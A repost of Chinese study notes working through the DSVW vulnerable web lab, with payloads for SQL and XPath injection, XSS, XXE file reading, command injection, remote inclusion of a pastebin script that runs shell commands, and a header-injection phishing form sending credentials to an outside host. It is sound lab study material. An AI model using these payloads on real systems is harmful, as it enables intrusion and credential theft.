日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[NOTE] DSVW靶场练习笔记

發(fā)布時間:2024/4/18 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [NOTE] DSVW靶场练习笔记 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

[NOTE] DSVW靶場練習筆記

文章目錄

  • [NOTE] DSVW靶場練習筆記
    • 前言
    • Blind SQL Injection (boolean)
    • Blind SQL Injection (time)
    • UNION SQL Injection
    • Login Bypass
    • HTTP Parameter Pollution
    • Cross Site Scripting (reflected)
    • Cross Site Scripting (stored)
    • Cross Site Scripting (DOM)
    • Cross Site Scripting (JSONP)
    • XML External Entity (local)
    • XML External Entity (remote)
    • Server Side Request Forgery
    • Blind XPath Injection (boolean)
    • Cross Site Request Forgery
    • Frame Injection (phishing)
    • Frame Injection (content spoofing)
    • Clickjacking
    • Unvalidated Redirect
    • Arbitrary Code Execution
    • Full Path Disclosure
    • Source Code Disclosure
    • Path Traversal
    • File Inclusion (remote)
    • HTTP Header Injection (phishing)
    • Component with Known Vulnerability (pickle)
    • Denial of Service (memory)
    • 靶場總結(jié)
    • 源碼學習

前言

是針對DSVW靶場的練習筆記
是在搞完P(guān)ikachu靶場之后
在整理vulnstack的Web安全入門進階靶場時發(fā)現(xiàn)的
里面版本比較老,就單獨搞出來玩玩

最新版本v0.2b用Python 3運行
代碼很頂,只有不到100行的代碼
最后學習一下代碼

環(huán)境:Kali Linux 2021.2 x64 | Python 3.9.2

由于也接觸過幾個Web靶場了,有些常見漏洞點就不太提及了

各漏洞點后面的info,都來自于OWASP Web安全測試指引(WSTG)
但是靶場中指向的URL版本都比較老
這里是最新版的測試指引(后面可能也舊了嘻嘻)

Blind SQL Injection (boolean)

EZ(呃,被打臉了,所以前進路上永不驕傲)

GET參數(shù)id為注入點,輸入“’”的報錯信息:

Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 30, in do_GETcursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: near "'": syntax error

簡單驗證payload:/?id=99 union select 1,2,3,4,判斷回顯4列

但是下面遇到難題了
因為是SQLite數(shù)據(jù)庫,所有很多函數(shù)和常識都不太清楚
出門吃癟,難受,學習去了


簡單學了下

爆庫:?id=99 union select type,name,tbl_name,sql from sqlite_master
sql字段返回表的結(jié)構(gòu)

爆users表:?id=99 union select id,username,name,password from users


最后試試sqlmap,隨便打


等一下,是盲注?這不全顯了嗎,服了= =

官方給的盲注payload:
/?id=2 and SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'

還是邏輯判斷、substr那一套

Blind SQL Injection (time)

一樣能直接全顯,但是要試試時間盲注

官方payload:
?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

要點:

  • 使用了case-when-then-else語句做選擇,起到類似于if-else的作用
  • 休眠的語句:LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))

休眠語句還不太明白

UNION SQL Injection

union & union all

union內(nèi)部的select語句必須擁有相同數(shù)量的列
列也必須擁有相似的數(shù)據(jù)類型
同時,每條select語句中的列的順序必須相同

union選取的是“集合”,值不重復(fù)
union all則會選取所有結(jié)果


就是這個:
?id=99 union select id,username,name,password from users

官方payload:
/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
涉及到一個多列拼接成一個字符串的方法:||','||(大概是這樣吧)

Login Bypass

密碼打入單引號:/login?username=admin&password='

報錯信息:

Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 67, in do_GETcursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") sqlite3.OperationalError: unrecognized token: "'''"

繞過payload:/login?username=admin&password=' or '1'='1

HTTP Parameter Pollution

HTTP參數(shù)污染?沒聽過
先上網(wǎng)沖浪學習一波

又稱HPP,大概是請求參數(shù)中有兩個參數(shù)同名的話
不同Web服務(wù)器對其的處理規(guī)則不同
從而導(dǎo)致利用點出現(xiàn)

例如PHP/Apache里邊,會把最后一個同名參數(shù)作為傳參
http://www.xx.com/?id=1&id=' or '1'='1
有可能檢測到第一個id正常就通過,而傳入服務(wù)器的是后面的惡意參數(shù)

下面是具體不同Web服務(wù)器的處理方式:

Web服務(wù)器參數(shù)獲取函數(shù)獲取到的參數(shù)
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/ApacheGetvalue(“par”)All(List)
ASP/IISRequest.QueryString(“par”)All(comma-delimited string)

通常可以被其他漏洞結(jié)合使用,如XSS
也常用于WAF Bypass


靶場使用Python語言寫的,所以對于多個重名參數(shù),后端會做拼接處理
所以就有了官方payload:
/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1
多個password參數(shù),拼接后變成:
'/**/OR/**/'1'/**/LIKE/**/'1
注釋做間隔,邏輯判斷為真,因此通過檢驗,繞過登錄

Cross Site Scripting (reflected)

有個GET的參數(shù)v,傳入內(nèi)容會在頁面最下面顯示
傳入<script>alert("XSS")</script>即彈窗

攻擊者準備惡意服務(wù)器
準備獲取cookie的接口、釣魚頁面、鍵盤記錄腳本等
構(gòu)造指向這些惡意攻擊的payload,形成釣魚鏈接誘惑受害者

Cross Site Scripting (stored)

存儲型,由于payload可以直接打入開放的頁面
所以無需太多社工,直接打入payload
每個瀏覽到的人都會中招

Cross Site Scripting (DOM)

DOM型,大致上和JS腳本動態(tài)操縱HTML元素有關(guān)

頁面源碼找到相關(guān)的JS代碼:

if (index != -1) document.write('<div style="position: absolute; top: 5px; right: 5px;">Chosen language: <b>' + decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');

大概就是根據(jù)GET參數(shù)lang來在頁面上動態(tài)地寫入一個元素

根據(jù)上面的代碼去主動閉合,有以下彈窗payload:
/?#lang=</b></div><script>alert("XSS")</script><div><b>
(官方payload好像不用主動閉合也行)

Cross Site Scripting (JSONP)

沒聽說過

JSON with Padding是json的一種“使用模式”
可以讓網(wǎng)頁從別的域名(網(wǎng)站)那獲取資料,即跨域讀取數(shù)據(jù)

一個學習資料
大概就是由json格式封裝的一段js代碼

另外關(guān)于跨域的問題,很多標簽里面的src屬性是不受同源策略限制的

一個漏洞示范:
echo $_GET['callback'] . '(' . $jsonData . ');';
大概就是callback參數(shù)傳遞函數(shù)名,后面的$jsonData傳遞函數(shù)參數(shù)
再配合恰當?shù)腃ontent-Type頭,echo出來,就有可能形成XSS等漏洞


看看鏈接的URL:/users.json?callback=process
看看users.json的內(nèi)容,是一些用戶信息

在原頁面找到process函數(shù)的源碼:

function process(data) {alert("Surname(s) from JSON results: " + Object.keys(data).map(function(k) {return data[k]})); };

然后官方的payload:
http://10.10.10.1:65412/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess

奇怪的是直接地址欄輸入不會引發(fā)彈窗,看看鏈接的onclick函數(shù):

function onclick(event) {var script = document.createElement('script');script.src = '/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false }

可能還和DOM的使用有關(guān),emmmm

XML External Entity (local)

xml參數(shù)接收一段XML數(shù)據(jù)來解析,直接上payload(注意URL編碼):
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20author%20%5B%3C!ENTITY%20js%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cauthor%3E%26js%3B%3C%2Fauthor%3E

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE author [<!ENTITY js SYSTEM "file:///etc/passwd">]><author>&js;</author>

實際上好像不用前面那段xml定義說明也OK?

另外shadow也能看到,權(quán)限真是高啊

XML External Entity (remote)

就是XXE能引用到遠程的xml數(shù)據(jù),不限于攻擊者服務(wù)器上的惡意數(shù)據(jù)

Server Side Request Forgery

path參數(shù)接受一個資源,然后由服務(wù)器去請求,再回顯給用戶

file:///etc/passwd:請求服務(wù)器敏感數(shù)據(jù)
http://localhost:8878:探測本機或內(nèi)網(wǎng)端口,或者是訪問內(nèi)網(wǎng)站點

Blind XPath Injection (boolean)

XPath注入?沒聽說過

XPath的學習內(nèi)容搬到了另外的筆記


GET參數(shù)name
傳入admin,正?;仫@
傳入' or '1'='1,也回顯了一個“vargas”,說明存在XPath注入
傳入',報錯,暴露查詢語句:
xpath(".//user[name/text()='%s']" % params["name"])

根據(jù)查詢語句構(gòu)造payload試圖暴庫:']|.//*|ss['
期待XPath查詢語句變成這樣:.//user[name/text()='']|.//*|ss['']
但是執(zhí)行還是報錯:

Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 44, in do_GETcontent += "<b>Surname:</b> %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX) AttributeError: 'NoneType' object has no attribute 'text'

估計是只回顯某個用戶的surname字段,所以全部爆出來會出現(xiàn)元素定位錯誤

那就按照題目意思去盲注
官方payload:?name=admin' and substring(password/text(),3,1)='n
.//user[name/text()='admin' and substring(password/text(),3,1)='n']


下面盲注猜解建議配合使用二分法

猜解當前節(jié)點的元素個數(shù):
/?name=admin' and count(.//*)=4 and '1'='1

猜解第一個元素名稱的長度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1

猜解第一個元素名稱的第一個字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1

猜解第一個元素名稱:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1

猜解第四個元素名稱:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1

猜解第四個元素的值的長度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1

猜解第四個元素的值的第一個字符(字符之間可以直接用大小與號比較):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1

猜解第四個元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1


以上盲注都是進入到與’admin’有關(guān)的特定范圍
是使用.//來選取當前節(jié)點
當然也可以使用/來從根元素選取節(jié)點

完整的XML文件如下:

<?xml version="1.0" encoding="utf-8"?> <users><user id="0"><username>admin</username><name>admin</name><surname>admin</surname><password>7en8aiDoh!</password></user><user id="1"><username>dricci</username><name>dian</name><surname>ricci</surname><password>12345</password></user><user id="2"><username>amason</username><name>anthony</name><surname>mason</surname><password>gandalf</password></user><user id="3"><username>svargas</username><name>sandra</name><surname>vargas</surname><password>phest1945</password></user> </users>

再注一下加深印象

只有一個根節(jié)點:
/?name=admin' and count(/*)=1 and '1'='1

根節(jié)點名稱長度為5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1

根節(jié)點名稱第一個字符為‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1

根節(jié)點名稱為“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1

根節(jié)點下面有4個節(jié)點:
/?name=admin' and count(/users/*)=4 and '1'='1

/users下面第一個節(jié)點的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1

第一個user節(jié)點下面有4個節(jié)點:
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1

如果某一結(jié)點下面沒有子節(jié)點,那么這樣子將會直接返回節(jié)點值:
/users/user[position()=1]/*[position()=1]匹配admin

因此葉子節(jié)點應(yīng)該這樣提取節(jié)點名稱:
name(/users/user[position()=1]/*[position()=1])

所以第一個user節(jié)點的第四個(葉子)節(jié)點長度為8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1

第一個user節(jié)點的第四個(葉子)節(jié)點名稱的第一個字符為‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1

第一個user節(jié)點的第四個(葉子)節(jié)點名稱為“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1

/users/user[position()=1]/*[position()=4]這個匹配到password的值

下略BLABLABLA

Cross Site Request Forgery

老實說,感覺這個漏洞演示做得并不算太好
因為CSRF本質(zhì)上是“借”權(quán)限執(zhí)行非法操作
但是這個靶場本身的所有請求都沒有鑒權(quán)措施

再看看官方payload:
/?v=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">

一看,好像可以分成兩部分
一部分是外層的v參數(shù),這個參數(shù)在XSS里邊出現(xiàn)過
另一部分是里層的comment參數(shù),提交了CSRF漏洞本身頁面的參數(shù)

我是這樣理解的:
模擬的是用戶已經(jīng)有了提交comment參數(shù)的權(quán)限
但是這時候用戶接收到了釣魚鏈接,是一個XSS
點擊之后,無意間“被”提交了comment
從而模擬了“借權(quán)限”寫入數(shù)據(jù)

Frame Injection (phishing)

框架注入,沒了解過,上網(wǎng)學習
一個找到的學習鏈接

好像就是類似于XSS,或者說是它的一種攻擊情況
在網(wǎng)頁中注入含有惡意內(nèi)容的frame或iframe標簽
框架注入攻擊允許黑客將用戶重定向到用于網(wǎng)絡(luò)釣魚和類似攻擊的其他惡意網(wǎng)站

可以考慮使用內(nèi)容安全策略(CSP)標頭來防御此類攻擊


靶場接口也是簡單地GET傳遞v參數(shù),之前測試XSS的也是這里

官方payload:
/?v=0.2<iframe src="http://dsvw.c1.biz/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
后面還有一些樣式屬性
執(zhí)行效果為在頁面中間出現(xiàn)一個方框展現(xiàn)另一個站點的內(nèi)容

感覺和XSS差不多
估計可以指向惡意站點或加載惡意腳本,從而執(zhí)行惡意操作

Frame Injection (content spoofing)

官方payload:
/?v=0.2<iframe src="http://dsvw.c1.biz/" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>

和上一個的區(qū)別好像就是
惡意框架是覆蓋了整個原頁面
估計是想達成欺騙用戶的效果

上一個的phishing,是“網(wǎng)絡(luò)釣魚”的意思
這個content spoofing,是“內(nèi)容欺騙”的意思
好像都是釣魚?

Clickjacking

點擊劫持,大概也是XSS的一種利用形式吧,我猜的

官方payload:
/?v=0.2<div style="opacity:0;filter:alpha(opacity=20);background-color:#000;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" onclick="document.location='http://dsvw.c1.biz/'"></div>

就是利用之前XSS的地方,往整個頁面上覆蓋了一個div標簽
然后設(shè)置一點擊,就會跳到別的頁面
估計這樣達成刷流量或刷點擊率或執(zhí)行惡意腳本的目的
當然這個onclick函數(shù)也可以設(shè)置成別的

但是覆蓋一層div之后,鼠標放到藍鏈上不會有“小指頭”了

Unvalidated Redirect

不安全的URL跳轉(zhuǎn)

一個redir參數(shù)傳入要跳轉(zhuǎn)的URL,官方payload也是截向了別的網(wǎng)站

估計是可以給用戶控制,用正確的域名做釣魚鏈接,欺騙性比較好吧

Arbitrary Code Execution

任意代碼執(zhí)行

domain參數(shù)傳入一個域名,之后返回域名的IP信息:

Server: 10.10.10.254 Address: 10.10.10.254#53Non-authoritative answer: Name: www.google.com Address: 142.250.207.68

看回顯,估計是系統(tǒng)執(zhí)行了類似dig www.google.com之類的命令吧
(當然上面不像是dig命令后的回顯)
(后面看了看源碼,是nslookup)

于是可以試試傳參后面加;,再拼接別的命令試試
payload:/?domain=localhost;whoami
回顯:

Server: 10.10.10.254 Address: 10.10.10.254#53Name: localhost.localdomain Address: 127.0.0.1root

存在任意命令執(zhí)行漏洞

然后關(guān)機:/?domain=localhost;shutdown~
Shutdown scheduled for Wed 2021-12-01 15:35:14 CST, use 'shutdown -c' to cancel.
趕緊取消
皮一下

Full Path Disclosure

絕對路徑暴露?

好像傳入不同的絕對路徑,會告訴你“路徑/文件不存在”或“XXX是一個文件夾”等
從而目錄遍歷?

Source Code Disclosure

呃,傳入path參數(shù)為/usr/share/DSVW/dsvw.py就爆出了頁面源碼

我愿意稱之為敏感信息暴露或任意文件訪問

Path Traversal

路徑穿越

傳入path參數(shù)為../../../../../../../../etc/passwd

類似于上面兩個,估計是想突出“dot-dot-slash”在文件訪問的對外接口中可用

File Inclusion (remote)

遠程文件包含

直接給include參數(shù)去包含遠程腳本,好啊

官方payload:
/?include=http://pastebin.com/raw.php?i=6VyyNNhc&cmd=ifconfig
從而執(zhí)行遠程腳本

這里只能包含(Python)腳本文件
文本文件如passwd會報Python語法錯誤


關(guān)于這個http://pastebin.com/raw.php?i=6VyyNNhc:

import re import subprocess import urllib.parseparams = dict((match.group("parameter"), urllib.parse.unquote(match.group("value"))) for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&]+)", QUERY_STRING))if "cmd" in params:result = subprocess.check_output(params["cmd"], shell=True, stderr=subprocess.STDOUT)print("<pre>%s</pre>" % result.decode())

接受一個cmd參數(shù)去執(zhí)行命令

HTTP Header Injection (phishing)

HTTP頭注入-釣魚版

一個GET的charset參數(shù),接受字符集參數(shù)(實際上什么都行)
傳過去之后,會直接拼接在返回包的Content-Type頭里邊:
Content-Type: text/html; charset=utf8
值得注意的是,是拼接在HTTP返回頭的最后面的,再下面就是空行以及返回體了

于是有了官方payload:
/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E

解碼一下,就是:

/?charset=utf8 X-XSS-Protection:0 Content-Length:388<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://dsvw.c1.biz/i/log.php" onSubmit="alert('visit \'http://dsvw.c1.biz/i/log.txt\' to see your phished credentials')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>

于是拼接之后,檢測到空行,就默認讀到了返回體
于是就回顯了payload構(gòu)造的HTML內(nèi)容
于是就形成了釣魚的效果

就是說可以對于參數(shù)拼接到返回頭的,要特別小心
可能會被控制返回的HTML內(nèi)容
而域名是正確的
可能會被釣魚

Component with Known Vulnerability (pickle)

不安全組件(pickle?)

這個需要雄厚的第三方組件或者是CVE的知識= =


pickle是Python標準庫,用于實現(xiàn)Python對象的二進制序列化和反序列化

官方文檔

“pickling” 是將 Python 對象及其所擁有的層次結(jié)構(gòu)轉(zhuǎn)化為一個字節(jié)流的過程,而 “unpickling” 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)字節(jié)流轉(zhuǎn)化回一個對象層次結(jié)構(gòu)。

關(guān)于pickle模塊的缺陷,官方簡要解釋如下:

警告

pickle 模塊并不安全。你只應(yīng)該對你信任的數(shù)據(jù)進行unpickle操作。

構(gòu)建惡意的 pickle 數(shù)據(jù)來在解封時執(zhí)行任意代碼是可能的。絕對不要對不信任來源的數(shù)據(jù)和可能被篡改過的數(shù)據(jù)進行解封。

請考慮使用 hmac 來對數(shù)據(jù)進行簽名,確保數(shù)據(jù)沒有被篡改。

在你處理不信任數(shù)據(jù)時,更安全的序列化格式如 json 可能更為適合。參見 與 json 模塊的比較 。

源碼的一處相關(guān)代碼:
content = str(pickle.loads(params["object"].encode()))
估計是執(zhí)行一個反序列化的過程

Denial of Service (memory)

DOS!

一個size參數(shù),傳入32的返回:
Time required (to 'resize image' to 32x32): 0.000009 seconds

估計會根據(jù)參數(shù)調(diào)用服務(wù)器資源去生成圖片
要是參數(shù)過大,則會過分消耗服務(wù)器資源,形成DOS

點擊官方payload后,頁面長時間不回應(yīng),斷開了連接,系統(tǒng)也變卡

算是提供了一個防御惡意DOS的方向
注意合理控制用戶對系統(tǒng)資源的消耗

靶場總結(jié)

還算可以,補充了一些Web漏洞知識,特別是XPath注入

但是靶場太“精致”了,很多漏洞點的演示過于簡單
一些利用場景要求學習者有一定基礎(chǔ)才可能理解出來

最后再感嘆一下代碼之精簡,不到一百行就整了個靶場
(雖然很多地方重用,但還是可以加深下各漏洞的對比和理解)

源碼學習

源碼不放了,這里
(值得注意的是這個靶場的作者就是sqlmap的作者,NB)

剛認真看了下。。。。
感覺也不用可以去學?
感覺這種刻意壓縮編碼的感覺。。。。

算了算了,學學HTTP服務(wù)相關(guān)吧

總結(jié)

以上是生活随笔為你收集整理的[NOTE] DSVW靶场练习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。